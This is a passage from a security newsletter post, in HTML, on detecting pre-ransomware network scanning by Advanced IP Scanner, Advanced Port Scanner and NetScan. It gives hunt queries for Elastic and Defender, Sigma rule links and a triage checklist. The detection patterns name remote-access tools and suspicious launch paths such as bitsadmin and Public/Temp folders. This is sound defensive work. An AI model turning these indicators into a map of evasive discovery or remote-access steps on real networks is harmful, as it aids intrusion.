width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h3>File events</h3><blockquote><p><strong>Catches:</strong> AIPS and APS install footprints via Sysmon event 11. </p><p><strong>Tune:</strong> path patterns.</p></blockquote><pre><code>FROM logs-windows.sysmon_operational-default
| WHERE @timestamp &gt;= "2026-04-02T03:00:00Z" AND @timestamp &lt;= "2026-05-06T10:00:00Z"
    AND event.code == "11" AND file.path IS NOT NULL
| EVAL path_lc = TO_LOWER(file.path)
| WHERE path_lc LIKE "*advanced ip scanner 2*" OR path_lc LIKE "*advanced port scanner 2*"
| EVAL Tool = CASE(
    path_lc LIKE "*advanced ip scanner 2*","Advanced IP Scanner", "Advanced Port Scanner")
| STATS FilesDropped = TOP(file.name, 20, "asc"),
        FileCount    = COUNT_DISTINCT(file.name),
        FirstDrop    = MIN(@timestamp),
        LastDrop     = MAX(@timestamp)
    BY host.name, Tool, user.name, process.executable
| SORT FirstDrop ASC
| LIMIT 500</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!z-F_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!z-F_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 424w, https://substackcdn.com/image/fetch/$s_!z-F_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 848w, https://substackcdn.com/image/fetch/$s_!z-F_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 1272w, https://substackcdn.com/image/fetch/$s_!z-F_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!z-F_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png" width="1337" height="760" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:760,&quot;width&quot;:1337,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:141302,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!z-F_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 424w, https://substackcdn.com/image/fetch/$s_!z-F_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 848w, https://substackcdn.com/image/fetch/$s_!z-F_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 1272w, https://substackcdn.com/image/fetch/$s_!z-F_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><blockquote><p>All of the above queries are also uploaded to <a href="https://github.com/Securityinbits/defender-hunt-queries/blob/main/discovery-tools.md">GitHub</a>.</p></blockquote><div><hr></div><h2>Cross-reference: Sigma rules</h2><p>Useful for cross-checking output, or porting to Splunk or CrowdStrike:</p><ul><li><p><a href="https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_pua_netscan.yml">PUA: SoftPerfect Netscan Execution</a></p></li><li><p><a href="https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_pua_advanced_ip_scanner.yml">PUA: Advanced IP Scanner Execution</a></p></li><li><p><a href="https://github.com/SigmaHQ/sigma/blob/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml">Advanced IP Scanner: File Event</a></p></li><li><p><a href="https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_pua_advanced_port_scanner.yml">PUA: Advanced Port Scanner Execution</a></p></li></ul><p>The queries are the first payload. The second is what the queries actually prove when they fire.</p><h1>4. The signal hiding inside the detection</h1><p>NetScan can run headless. Advanced IP Scanner and Advanced Port Scanner cannot. <strong>They are GUI-only.</strong></p><p>A hit on AIPS or APS is not just a discovery alert. <strong>It is an RDP, RMM, or VDI session alert by implication.</strong> GUI tools need a desktop session. No desktop session, no GUI scan. If a GUI scanner ran on a host with no admin session active at that time, an attacker had interactive access.</p><p>Rule out admin use first. Then pivot the hunt to the same host, &#177;2 hours from the scanner hit:</p><pre><code>let HitHost = "SERVER01";
let HitTime = datetime(2026-05-10T14:00:00);
DeviceProcessEvents
| where DeviceName =~ HitHost
| where Timestamp between (HitTime - 2h .. HitTime + 2h)
| where FileName in~ ("mstsc.exe", "AnyDesk.exe", "ScreenConnect.ClientService.exe", "AteraAgent.exe", "Splashtop.exe")
| project Timestamp, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName</code></pre><h1>5. Run it today</h1><p>Four steps.</p><ol><li><p>Run the process query over the last 30 days.</p></li><li><p>Filter out IT admin accounts and known scanning hosts (vuln scanner, asset management agent). Allowlist by hostname or account, not by tool name. Legitimate IT teams use these tools too.</p></li><li><p>For each remaining hit, check parent process and account context. If parent is <code>cmd.exe</code>, <code>powershell.exe</code>, <code>bitsadmin.exe</code>, or anything launched from <code>C:\Users\Public\</code> or <code>Temp dir</code>, escalate immediately.</p></li><li><p>For AIPS or APS hits, run the Section 4 pivot. If RDP or RMM activity surfaces in the &#177;2h window tied to the scanner hit, scope the incident and start IR containment.</p></li></ol><p>You just got a rear-view of pre-ransomware activity in your environment. Not theoretical. Tested in a lab against Sliver C2 and ready to paste into your SIEM today.</p><p>This catches three tools, not all pre-ransomware activity. RMM is the next layer, and it sits right next to discovery in every kill chain. Same format coming.</p><p>If you run the queries and find something (or find nothing), tell me on <strong>X</strong>. Reposts and likes help the next defender find this too.</p><p>Ransomware groups don&#8217;t innovate at the discovery phase. That&#8217;s the gift. Your environment doesn&#8217;t have to be number 4,114.</p><h1>References</h1><p><a href="https://www.ransomware.live/stats/2026">Ransomware Statistics &#8212; 2026</a> </p><p><a href="https://github.com/BushidoUK/Ransomware-Tool-Matrix/">GitHub - BushidoUK/Ransomware-Tool-Matrix</a></p><div><hr></div><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Securityinbits! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item></channel></rss>